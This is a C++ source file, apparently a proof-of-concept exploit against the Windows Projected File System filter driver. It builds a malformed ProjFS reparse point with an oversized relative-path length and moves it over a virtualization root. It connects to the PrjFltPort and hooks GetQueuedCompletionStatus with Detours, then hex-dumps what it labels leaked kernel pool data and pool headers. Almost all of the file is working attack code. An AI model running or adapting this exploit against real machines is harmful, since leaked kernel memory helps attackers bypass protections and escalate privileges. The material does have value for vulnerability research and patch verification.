#include <iostream>
#include <Windows.h>
#include <fltuser.h>
#include <projectedfslib.h>
#pragma comment(lib, "projectedfslib.lib")
#pragma comment(lib, "FltLib.lib")

#include "ntdll.h"
#pragma comment(lib, "ntdll")

#include "detours.h"
#pragma comment(lib, "detours.lib")

PWSTR gProcessPath = NULL;
PRJ_NAMESPACE_VIRTUALIZATION_CONTEXT gInstanceHandle;

struct __declspec(align(4)) _PRJ_CONNECTION_CONTEXT
{
	GUID virtualizationInstanceID;
	unsigned int Version;
	USHORT VolumeLength;
	WCHAR szVolume[256];
};


void PrintInstanceId() {
	PRJ_VIRTUALIZATION_INSTANCE_INFO InstanceInfo;
	HRESULT hr = PrjGetVirtualizationInstanceInfo(gInstanceHandle, &InstanceInfo);
	if (FAILED(hr))
	{
		wprintf(L"Failed to create instance ID (0x%08x)\n", hr);
		return;
	}

	OLECHAR* guidString;
	StringFromCLSID(InstanceInfo.InstanceID, &guidString);
	wprintf(L"InstanceId: %s\n", guidString);


	LPCOLESTR lpsz = guidString;
	GUID InstanceId;
	hr = CLSIDFromString(lpsz, &InstanceId);
	if (FAILED(hr))
	{
		wprintf(L"Failed to create instance ID (0x%08x)\n", hr);
		return;
	}

	CoTaskMemFree(guidString);
}

void CreateVirtualizationRoot() {

	const wchar_t* PrjRootName = LR"(c:\PrjTest)";
	CreateDirectoryW(PrjRootName, nullptr);


	HRESULT hr;
	const wchar_t* rootName = LR"(c:\PrjTest\virtRoot)";

	DeleteFileW(rootName);
	RemoveDirectoryW(rootName);

	if (!CreateDirectoryW(rootName, nullptr))
	{
		DWORD gle = GetLastError();
		if (gle != ERROR_ALREADY_EXISTS) {
			hr = HRESULT_FROM_WIN32(gle);
			wprintf(L"Failed to create virtualization root (0x%08x)\n", hr);
		}

		return;
	}

	GUID instanceId;

	hr = CoCreateGuid(&instanceId);
	if (FAILED(hr))
	{
		wprintf(L"Failed to create instance ID (0x%08x)\n", hr);
		return;
	}

	hr = PrjMarkDirectoryAsPlaceholder(rootName,
		nullptr,
		nullptr,
		&instanceId);
	if (FAILED(hr))
	{
		wprintf(L"Failed to mark virtualization root (0x%08x)\n", hr);
		return;
	}

}

HRESULT PrjStartEnumCallback(
	const PRJ_CALLBACK_DATA* callbackData,
	const GUID* enumerationId
)
{
	//printf("MyStartEnumCallback\n");
	return S_OK;
}

HRESULT PrjEndEnumCallback(
	const PRJ_CALLBACK_DATA* callbackData,
	const GUID* enumerationId
)
{
	//printf("MyEndEnumCallback\n");
	return S_OK;
}

HRESULT PrjGetEnumCallback(
	const PRJ_CALLBACK_DATA* callbackData,
	const GUID* enumerationId,
	PCWSTR searchExpression,
	PRJ_DIR_ENTRY_BUFFER_HANDLE dirEntryBufferHandle
)
{
	//GetEnumHandler(callbackData->CommandId);
	return S_OK;
}

HRESULT PrjGetPlaceholderInfoCallback(
	const PRJ_CALLBACK_DATA* callbackData
)
{
	return S_OK;
}

HRESULT PrjGetFileDataCallback(
	const PRJ_CALLBACK_DATA* callbackData,
	UINT64 byteOffset,
	UINT32 length
)
{
	return S_OK;
}

HRESULT PrjQueryFileNameCallback(
	const PRJ_CALLBACK_DATA* callbackData
)
{
	return S_OK;
}

HRESULT PrjNotificationCallback(
	_In_ const PRJ_CALLBACK_DATA* callbackData,
	_In_ BOOLEAN isDirectory,
	_In_ PRJ_NOTIFICATION notification,
	_In_opt_ PCWSTR destinationFileName,
	_Inout_ PRJ_NOTIFICATION_PARAMETERS* operationParameters
)
{
	return S_OK;
}


VOID PrjCancelCommandCallback(
	_In_ const PRJ_CALLBACK_DATA* callbackData
) {
	return;
}


void StartVirtualizatioInstance() {
	PRJ_CALLBACKS callbackTable;

	// Supply required callbacks.
	callbackTable.StartDirectoryEnumerationCallback = PrjStartEnumCallback;
	callbackTable.EndDirectoryEnumerationCallback = PrjEndEnumCallback;
	callbackTable.GetDirectoryEnumerationCallback = PrjGetEnumCallback;
	callbackTable.GetPlaceholderInfoCallback = PrjGetPlaceholderInfoCallback;
	callbackTable.GetFileDataCallback = PrjGetFileDataCallback;

	// The rest of the callbacks are optional.
	callbackTable.QueryFileNameCallback = PrjQueryFileNameCallback;
	callbackTable.NotificationCallback = PrjNotificationCallback;
	callbackTable.CancelCommandCallback = PrjCancelCommandCallback;

	HRESULT hr;
	const wchar_t* rootName = LR"(c:\PrjTest\virtRoot)";

	PRJ_NOTIFICATION_MAPPING NotificationMappings;
	NotificationMappings.NotificationBitMask = PRJ_NOTIFY_FILE_PRE_CONVERT_TO_FULL;
	NotificationMappings.NotificationRoot = L"";

	PRJ_STARTVIRTUALIZING_OPTIONS options;
	memset(&options, 0, sizeof(options));
	options.NotificationMappingsCount = 1;
	options.NotificationMappings = &NotificationMappings;

	PRJ_NAMESPACE_VIRTUALIZATION_CONTEXT instanceHandle;
	hr = PrjStartVirtualizing(rootName,
		&callbackTable,
		nullptr,
		&options,
		&instanceHandle);
	if (FAILED(hr))
	{
		wprintf(L"Failed to start the virtualization instance (0x%08x)\n", hr);
		return;
	}

	gInstanceHandle = instanceHandle;
}

struct _PRJ_REPARSE_DATA
{
	int Version;
	int dwFlags;
	GUID virtualizationInstanceID;
	PRJ_PLACEHOLDER_VERSION_INFO PlaceHolderVersionInfo;
	unsigned __int16 PlaceHolderRelPathLength;
	WCHAR szPlaceHolderRelPathBuffer[1];

};

struct _PRJ_REPARSE_DATA_BUFFER
{
	ULONG ReparseTag;
	USHORT ReparseDataLength;
	USHORT Reserved;
	_PRJ_REPARSE_DATA ReparseData;
};

HRESULT CreateFileWithReparsePoint(
	PHANDLE pFileHandle,
	LPCWSTR lpcwFileName,
	_PRJ_REPARSE_DATA* ReparseData,
	USHORT ReparseDataLength,
	int Tag,
	bool bDir) {

	const WCHAR* ErrorMessage; // rdi
	USHORT BufferLength; // bx
	ULONG hr; // ebx MAPDST
	_PRJ_REPARSE_DATA_BUFFER* ReparseDataBuffer; // rax MAPDST
	int LastError; // eax
	ULONG Size; // eax
	size_t Length; // rax

	*pFileHandle = NULL;

	ErrorMessage = 0i64;
	BufferLength = ReparseDataLength + 8;
	if ((unsigned __int16)(ReparseDataLength + 8) > 0x4000u
		|| ReparseDataLength != ReparseData->PlaceHolderRelPathLength + 0x11A)
	{
		hr = 0x80070057;                            // E_INVALIDARG
		goto LABEL_12;
	}
	ReparseDataBuffer = (_PRJ_REPARSE_DATA_BUFFER*)calloc(1ui64, (unsigned __int16)(ReparseDataLength + 8));
	if (!ReparseDataBuffer)
	{
		hr = 0x8007000E;                            // E_OUTOFMEMORY
	LABEL_12:
		Size = 2;

		return hr;
	}
	ReparseDataBuffer->ReparseTag = Tag;
	ReparseDataBuffer->ReparseDataLength = ReparseDataLength;
	memcpy(&ReparseDataBuffer->ReparseData, ReparseData, ReparseDataLength);

	//HANDLE  FileHandle = CreateFileW(lpcwFileName, FILE_WRITE_ATTRIBUTES, 7u, 0i64, OPEN_ALWAYS, 0x2200000u, 0i64);

	UNICODE_STRING usFileName = { 0 };

	RtlInitUnicodeString(&usFileName, (PWSTR)lpcwFileName);
	OBJECT_ATTRIBUTES ObjectAttributes = { 0 };
	ObjectAttributes.Length = 0x30;
	ObjectAttributes.ObjectName = &usFileName;

	ULONG FileAttributes = FILE_ATTRIBUTE_NORMAL;
	ULONG CreateOptions = FILE_SYNCHRONOUS_IO_ALERT;

	if (bDir) {
		CreateOptions = CreateOptions | FILE_DIRECTORY_FILE;
	}

	IO_STATUS_BLOCK IoStatusBlock = { 0 };
	HANDLE  FileHandle = NULL;
	int Status = NtCreateFile(
		&FileHandle,
		FILE_WRITE_ATTRIBUTES | SYNCHRONIZE,
		&ObjectAttributes,
		&IoStatusBlock,
		0i64,
		FileAttributes,
		FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
		FILE_OPEN_IF,
		CreateOptions,
		NULL,
		0);

	if (DeviceIoControl(FileHandle, 0x900A4u, ReparseDataBuffer, BufferLength, 0i64, 0, 0i64, 0i64))// FSCTL_SET_REPARSE_POINT
	{
		hr = 0;
	}
	else
	{
		LastError = GetLastError();
		hr = LastError;
		if (LastError > 0)
			hr = (unsigned __int16)LastError | 0x80070000;
		ErrorMessage = L"Failed to send FSCTL_SET_REPARSE_POINT";
	}
	free(ReparseDataBuffer);
	if (hr)
		goto LABEL_12;

	*pFileHandle = FileHandle;

	return hr;

}


_PRJ_REPARSE_DATA* CreateReparseData(PCWSTR szRelPath, DWORD dwFlags, PUSHORT pLength) {
	USHORT RelPathLength = MAX_PATH;
	USHORT Length = RelPathLength + 0x11A;
	_PRJ_REPARSE_DATA* ReparseData = (_PRJ_REPARSE_DATA*)calloc(1ui64, Length);

	ReparseData->Version = 2;
	ReparseData->PlaceHolderRelPathLength = RelPathLength;

	if (RelPathLength) {
		memcpy(ReparseData->szPlaceHolderRelPathBuffer, szRelPath, RelPathLength);
	}

	*pLength = Length;
	return ReparseData;
}


void PrintOutput(char* buf, int Size) {

	//printf("\n");
	for (int i = 0; i < Size; i++)
	{
		if (i != 0 && i % 8 == 0 && i % 16 != 0) {
			printf("-");

		}
		else if (i > 0)
		{
			printf(" ");
		}


		if (i % 16 == 0 && i != 0) {
			printf("\n");
		}

		printf("%02x", (unsigned)(unsigned char)buf[i]);

	}
	printf("\n");
}

struct _POOL_HEADER
{
	union
	{
		struct
		{
			USHORT PreviousSize : 8;                                          //0x0
			USHORT PoolIndex : 8;                                             //0x0
			USHORT BlockSize : 8;                                             //0x2
			USHORT PoolType : 8;                                              //0x2
		};
		ULONG Ulong1;                                                       //0x0
	};
	ULONG PoolTag;                                                          //0x4
	union
	{
		struct _EPROCESS* ProcessBilled;                                    //0x8
		struct
		{
			USHORT AllocatorBackTraceIndex;                                 //0x8
			USHORT PoolTagHash;                                             //0xa
		};
	};
};

void PrintPoolHeader(_POOL_HEADER* Header) {
	if (Header->PoolTag != 0) {

		char szTag[0x10] = { 0 };
		ULONG size = Header->BlockSize * 0x10;
		memcpy(szTag, &Header->PoolTag, 4);

		printf("First PoolTag: %s, size: 0x%x\n", szTag, size);
	}

}

void PrintPool(char* Data, ULONG Size) {

	ULONG BlockSize = 0;

	while (Size > 0) {
		_POOL_HEADER* Header = (_POOL_HEADER*)Data;

		if (Header->PoolTag != 0) {
			char szTag[0x10] = { 0 };
			BlockSize = Header->BlockSize * 0x10;
			memcpy(szTag, &Header->PoolTag, 4);

			printf("PoolTag: %s, size: 0x%x\n", szTag, BlockSize);

			if (Size >= BlockSize) {
				PrintOutput(Data, BlockSize);
			}
		}
		else {
			PrintOutput(Data, Size);
			break;
		}

		Data = Data + BlockSize;
		Size = Size - BlockSize;
	}
	
}

void PortInit() {

	static HANDLE hPort = NULL;
	static GUID InstanceId;

	PRJ_VIRTUALIZATION_INSTANCE_INFO InstanceInfo;
	HRESULT hr = PrjGetVirtualizationInstanceInfo(gInstanceHandle, &InstanceInfo);
	InstanceId = InstanceInfo.InstanceID;


	//PrjStopVirtualizing(gInstanceHandle);

	_PRJ_CONNECTION_CONTEXT Context;
	Context.VolumeLength = 0x100;
	Context.Version = 1;
	Context.virtualizationInstanceID = InstanceId;
	wcscpy_s(Context.szVolume, L"c:\\");
	ULONG SizeOfContext = sizeof(_PRJ_CONNECTION_CONTEXT);

	HRESULT hResult = FilterConnectCommunicationPort(L"\\PrjFltPort", 0, &Context, SizeOfContext, NULL, &hPort);
	//HRESULT hResult = FilterConnectCommunicationPort(L"\\PrjFltPort", 0, NULL, 0, NULL, &hPort);

	printf("FilterConnectCommunicationPort hResult:%x\thPort:%x\n", hResult, hPort);

}


HRESULT __fastcall PrjpConstructLongPath(PCWSTR szFilePath, PCWSTR* pszLongPath2, PCWSTR* pszLongPath)
{
	unsigned __int64 Length; // rbx
	const WCHAR* szLongPath; // rax

	Length = 0xFFFFFFFFFFFFFFFFui64;
	do
		++Length;
	while (szFilePath[Length]);
	*pszLongPath2 = 0i64;
	if (Length < 0x104 || !wcsncmp(szFilePath, L"\\\\?\\", 4ui64))
	{
		*pszLongPath = szFilePath;
	}
	else
	{
		szLongPath = (WCHAR*)calloc(Length + 5, 2ui64);
		*pszLongPath2 = szLongPath;
		if (!szLongPath)
			return 0x8007000E;                        // E_OUTOFMEMORY
		if ((unsigned int)wcsncpy_s((PWSTR)szLongPath, Length + 5, L"\\\\?\\", 4i64)
			|| (unsigned int)wcsncat_s((PWSTR)(*pszLongPath2), Length + 5, szFilePath, Length))
		{
			return 0x80004005;                        // E_FAIL
		}
		*pszLongPath = *pszLongPath2;
	}
	return 0;
}

HRESULT __fastcall PrjpReadReparsePoint(PCWSTR szFilePath, _PRJ_REPARSE_DATA_BUFFER** pReparseDataBuffer)
{
	_PRJ_REPARSE_DATA_BUFFER* ReparseDataBuffer; // r15
	PCWSTR ErrorMessage; // rdi
	HRESULT hr; // ebx
	unsigned __int64 Length; // rcx MAPDST
	ULONG Size; // ecx MAPDST
	HANDLE FileHandle; // rax MAPDST
	signed int LastError; // eax
	unsigned int* EventDescriptor; // rdx
	LPCWSTR hr64; // [rsp+40h] [rbp-49h]
	LPCWSTR szLongPath; // [rsp+40h] [rbp-49h] FORCED BYREF
	PCWSTR pszLongPath2; // [rsp+48h] [rbp-41h] BYREF


	Length = 0xFFFFFFFFFFFFFFFFui64;
	hr64 = 0i64;
	pszLongPath2 = 0i64;
	ErrorMessage = 0i64;
	FileHandle = (HANDLE)0xFFFFFFFFFFFFFFFFi64;
	if (!pReparseDataBuffer)
	{
		hr = 0x80070057;                            // E_INVALIDARG
		goto LABEL_3;
	}
	ReparseDataBuffer = (_PRJ_REPARSE_DATA_BUFFER*)calloc(1, 0x4000ui64);
	if (!ReparseDataBuffer)
	{
		ErrorMessage = L"Couldn't allocate memory for Reparse Data";
		hr = 0x8007000E;                            // E_OUTOFMEMORY
	LABEL_3:
		Size = 2;
		return hr;
	}
	hr = PrjpConstructLongPath(szFilePath, &pszLongPath2, &szLongPath);
	if (hr < 0)
	{
		ErrorMessage = L"PrjpConstructLongPath failed";
		goto LABEL_21;
	}
	hr = 0;
	FileHandle = CreateFileW(szLongPath, 0x80u, 3u, 0i64, 3u, 0x2200000u, 0i64);
	if (FileHandle == (HANDLE)0xFFFFFFFFFFFFFFFFi64)
	{
		ErrorMessage = L"Failed to open file";
		goto LABEL_14;
	}
	if (!DeviceIoControl(FileHandle, 0x900A8u, 0i64, 0, ReparseDataBuffer, 0x4000u, 0i64, 0i64))// FSCTL_GET_REPARSE_POINT
	{
		ErrorMessage = L"Failed to get reparse point";
	LABEL_14:
		LastError = GetLastError();
		hr = LastError;
		if (LastError > 0)
			hr = (unsigned __int16)LastError | 0x80070000;
	LABEL_21:
		free(ReparseDataBuffer);
		if (FileHandle == (HANDLE)0xFFFFFFFFFFFFFFFFi64)
			goto LABEL_25;
		goto LABEL_24;
	}
	if (ReparseDataBuffer->ReparseTag != 0x9000001C && ReparseDataBuffer->ReparseTag != 0xA0000022)
	{
		ErrorMessage = L"Another Reparse Tag Encountered";
		hr = 0x8007112A;
		goto LABEL_21;
	}
	*pReparseDataBuffer = ReparseDataBuffer;
LABEL_24:
	CloseHandle(FileHandle);
LABEL_25:

	if (pszLongPath2)
		free((void*)pszLongPath2);
	if (hr >= 0)
		return hr;
	if (hr != 0x80071126)
		goto LABEL_3;

	return hr;
}


HANDLE CreateWorkerProcess() {
	STARTUPINFO si = { sizeof(si) };
	PROCESS_INFORMATION pi;
	WCHAR szCommandLine[MAX_PATH + 1];
	swprintf(szCommandLine, MAX_PATH, L"%ls -Worker", gProcessPath);

	bool bResult = CreateProcess(nullptr, szCommandLine, nullptr, nullptr, FALSE, 0, nullptr, nullptr, &si, &pi);
	return pi.hProcess;
}

struct __declspec(align(4)) _PRJ_COMMAND_BUFFER
{
	ULONG BufferLength;
	int CmdType;
	GUID VirtualizationInstanceID;
	char Id[4];
	char StreamUuid[16];
	char StreamHandleUuid[16];
	PRJ_PLACEHOLDER_VERSION_INFO PlaceHolderVersionInfo;
	int Padding;
	char Data[544];
	int RelPathOffset;
	int RelPathLength;
	int FilePathOffset;
	int FilePathLength;
	ULONG Pid;
	int ProcessNameOffset;
	int ProcessNameLength;
	int Padding2;
	WCHAR RelPathBuffer[1];
	WCHAR FilePathBuffer[1];
	WCHAR ProcessNameBuffer[1];
};


typedef BOOL (WINAPI* _GetQueuedCompletionStatus)(
	HANDLE       CompletionPort,
	LPDWORD      lpNumberOfBytesTransferred,
	PULONG_PTR   lpCompletionKey,
	LPOVERLAPPED* lpOverlapped,
	DWORD        dwMilliseconds
);

_GetQueuedCompletionStatus TrueGetQueuedCompletionStatus = NULL;


BOOL MyGetQueuedCompletionStatus(
	HANDLE       CompletionPort,
	LPDWORD      lpNumberOfBytesTransferred,
	PULONG_PTR   lpCompletionKey,
	LPOVERLAPPED* lpOverlapped,
	DWORD        dwMilliseconds
) {
	BOOL bResult = TrueGetQueuedCompletionStatus(CompletionPort, lpNumberOfBytesTransferred, lpCompletionKey, lpOverlapped, dwMilliseconds);

	if (bResult) {
		_PRJ_COMMAND_BUFFER* CommandBuffer = (_PRJ_COMMAND_BUFFER*)((char*)(*lpOverlapped) + sizeof(OVERLAPPED) + sizeof(_FILTER_MESSAGE_HEADER));
		ULONG RelPathLength = CommandBuffer->RelPathLength;
		ULONG RelPathOffset = CommandBuffer->RelPathOffset;
		ULONG LeakedDataOffset = 0x2e;
		if (CommandBuffer->CmdType == 7 && RelPathLength > MAX_PATH) {
			char* RelBuffer = (char*)CommandBuffer + RelPathOffset;

			char* Leakeddata = RelBuffer + LeakedDataOffset;
			ULONG LeakeddDataLength = RelPathLength - LeakedDataOffset;

			printf("\nLeaked length = 0x%x\n", LeakeddDataLength);
			PrintPoolHeader((_POOL_HEADER*)Leakeddata);
			PrintOutput(Leakeddata, LeakeddDataLength);
			//PrintPool(Leakeddata, LeakeddDataLength);
		}
	}

	return bResult;

}

void LoadHook() {

	TrueGetQueuedCompletionStatus = (_GetQueuedCompletionStatus)GetProcAddress(GetModuleHandleA("Kernel32.dll"), "GetQueuedCompletionStatus");

	LONG error;
	DetourRestoreAfterWith();
	DetourTransactionBegin();
	DetourUpdateThread(GetCurrentThread());
	//DetourAttach(&(PVOID&)TrueFilterGetMessage, MyFilterGetMessage);
	DetourAttach(&(PVOID&)TrueGetQueuedCompletionStatus, MyGetQueuedCompletionStatus);
	error = DetourTransactionCommit();

	if (error == NO_ERROR) {
		printf("Detoured GetQueuedCompletionStatus().\n");
	}
	else {
		printf("Error detouring GetQueuedCompletionStatus(): %d\n", error);
	}
}

void Main1()
{
	//getchar();
	LoadHook();
	CreateVirtualizationRoot();
	StartVirtualizatioInstance();
	PrintInstanceId();
	PortInit();
	

	HANDLE hProcess = CreateWorkerProcess();
	WaitForSingleObject(hProcess, INFINITE);
	CloseHandle(hProcess);
	//printf("\nPress enter key to continue . . .\n");

	PrjStopVirtualizing(gInstanceHandle);
	getchar();
	
}

void Main2() {
	BOOL bResult = FALSE;
	HRESULT hr = 0;
	USHORT Length = 0;
	HANDLE  DirFileHandle = NULL;
	HANDLE  FileHandle = NULL;
	_PRJ_REPARSE_DATA* ReparseData = NULL;

	bResult = RemoveDirectoryW(L"c:\\PrjTest\\virtroot");
	DeleteFileW(L"c:\\PrjTest\\virtroot");

	ReparseData = CreateReparseData(L"dd", 0x10, &Length);

	hr = CreateFileWithReparsePoint(&DirFileHandle, L"\\??\\c:\\PrjTest\\virtroot2", ReparseData, Length, 0x9000001C, false);
	_PRJ_REPARSE_DATA_BUFFER* pReparseDataBuffer = NULL;
	hr = PrjpReadReparsePoint(L"c:\\PrjTest\\virtroot2", &pReparseDataBuffer);

	pReparseDataBuffer = NULL;
	bResult = MoveFileExW(L"c:\\PrjTest\\virtroot2", L"c:\\PrjTest\\virtroot", MOVEFILE_REPLACE_EXISTING);
	hr = PrjpReadReparsePoint(L"c:\\PrjTest\\virtroot", &pReparseDataBuffer);

	FileHandle = CreateFileW(L"c:\\PrjTest\\virtroot", GENERIC_READ | GENERIC_WRITE, 3u, 0i64, OPEN_ALWAYS, 0x2200000u, 0i64);
}

int wmain(int argc, WCHAR* argv[])
{

	gProcessPath = argv[0];

	if (argc == 1) {
		Main1();
	}
	else if (argc == 2) {
		Main2();
	}

	return 0;
}